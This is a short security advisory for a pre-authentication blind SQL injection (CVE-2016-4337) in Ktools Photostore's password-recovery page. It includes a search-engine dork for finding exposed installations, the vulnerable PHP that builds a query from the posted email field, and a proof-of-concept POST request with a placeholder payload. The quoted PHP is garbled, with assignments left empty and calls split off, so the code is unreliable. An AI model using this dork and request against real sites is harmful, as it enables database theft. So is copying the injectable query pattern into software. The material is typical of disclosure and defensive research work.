Title : Ktools Photostore <= 4.7.5 (Pre-Authentication) Blind SQL Injection CVE-ID : CVE-2016-4337 Google Dork: inurl:mgr.login.php Product : Photostore Affected : Versions prior to 4.7.5 Impact : Critical Remote : Yes Website link: http://www.ktools.net Reported : 02/06/2016 Authors : Gal Goldshtein and Viktor Minin -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= No authentication (login) is required to exploit this vulnerability. The Photostore application password recovery module is prone to a blind sql injection attack. An attacker can exploit this vulnerability to retrieve all the data stored in the application's database. Vulnerable code is located in the mgr.login.php file: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= case 'recover_login': { mysqli_query( $db, '' . 'SELECT username,password,email,admin_id FROM ' . $dbinfo[pre] . 'admins where email = \'' . $_POST['email'] . '\'' ); $result = ; mysqli_num_rows( $result ); $returned_rows = ; mysqli_fetch_array( $result ); $db_admin_user = ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PoC: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= POST /photostore/manager/mgr.login.php?pmode=recover_login HTTP/1.1 Host: victim.net User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://server/photostore/manager/mgr.login.php?username=demo&password=demo Cookie: member[umem_id]=58C05864CA6A59DBGHJSKDHGDGS770D5; PHPSESSID=30afayreighgfdgucb0d2b0c6dece3158 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 9 email=%27%20[SQL PAYLOAD];# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=